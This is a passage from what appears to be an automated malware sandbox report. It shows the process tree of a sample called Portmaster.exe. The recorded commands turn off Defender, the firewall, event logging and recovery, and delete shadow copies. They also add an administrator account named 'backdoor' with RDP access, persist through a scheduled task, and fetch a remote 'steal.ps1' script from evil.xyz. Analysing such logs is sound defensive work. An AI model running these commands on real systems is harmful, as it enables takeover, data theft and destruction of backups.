  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3636
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:448
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3132
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1516
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Disables one or more Microsoft Defender components
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5844
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3176
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3948
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:588
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4020
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  PID:328
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5880
- - C:\Windows\SysWOW64\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:5800
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:2092
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1240
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:660
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\SysWOW64\sc.exe
    sc config Schedule start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:5224
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2012
- - C:\Windows\SysWOW64\sc.exe
    sc config EventLog start= disabled
    3⤵
    - Launches sc.exe
    PID:244
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1452
- - C:\Windows\SysWOW64\net.exe
    net user backdoor P@ssw0rd123! /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3444
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
      4⤵
      PID:5104
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1028
- - C:\Windows\SysWOW64\net.exe
    net localgroup administrators backdoor /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:804
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup administrators backdoor /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:3652
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  - Suspicious use of WriteProcessMemory
  PID:1880
- - C:\Windows\SysWOW64\net.exe
    net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    - Suspicious use of WriteProcessMemory
    PID:3352
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      System Location Discovery: System Language Discovery
      PID:1412
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  2⤵
  PID:5496
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5444
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
  2⤵
  PID:6068
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3424
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  PID:5140
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1752
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5108
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:3152
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:992
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:3500
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:6160
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:6812
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6572
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:8516
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:7008
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:6460
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:2412
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:8600
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:5468
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:2464
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:4504
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:2484
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:2032
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:8576
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:3496
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:8652
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:4292
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:8048
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:6824
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:9012
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:9540
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
    3⤵
    PID:5016
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators backdoor /add
      4⤵
      PID:9828
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators backdoor /add
        5⤵
        
        PID:6688
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:8560
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:9036
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
        5⤵
        Remote Service Session Hijacking: RDP Hijacking
        
        PID:10172
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    PID:8092
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      4⤵
      PID:8980
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
    3⤵
    PID:8992
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
      4⤵
      Modifies Windows Firewall
      PID:11180
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:11672
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:3324
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:11888
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:7340
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:14168
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:12096
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:12092
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:13732
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:12292
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:13940
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:13584
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:6628
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  PID:3544
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:2516
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:4388
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1332
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:5424
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:6588
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2564
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:6980
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8520
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:700
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:4976
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:7476
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:7148
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:3756
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:9116
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:8568
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:6684
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      PID:6180
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:2436
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:6548
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:7512
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      PID:8184
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:5152
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:7464
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:6628
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
    3⤵
    PID:2428
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators backdoor /add
      4⤵
      PID:9752
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators backdoor /add
        5⤵
        
        PID:9984
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:10232
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:1544
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
        5⤵
        Remote Service Session Hijacking: RDP Hijacking
        
        PID:1564
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    PID:6312
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      4⤵
      PID:7116
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
    3⤵
    PID:10084
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
      4⤵
      Modifies Windows Firewall
      PID:5708
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:10924
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:11472
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10996
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:1164
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:10304
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:4872
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:11948
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:6308
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:12960
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:9088
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:2444
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:12156
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11892
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:13428
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:10840
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:8512
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8464
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:12064
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:14128
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:5780
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:10344
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2800
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:7868
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:6932
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:8024
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11380
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:7452
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:4676
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:11292
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4856
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:12592
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:10604
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:11780
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11420
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:12244
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c start https://evil.xyz
    3⤵
    PID:11224
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
      4⤵
      PID:12976
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
    3⤵
    PID:10660
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:400
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  PID:6048
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:4152
  - - C:\Windows\SysWOW64\schtasks.exe
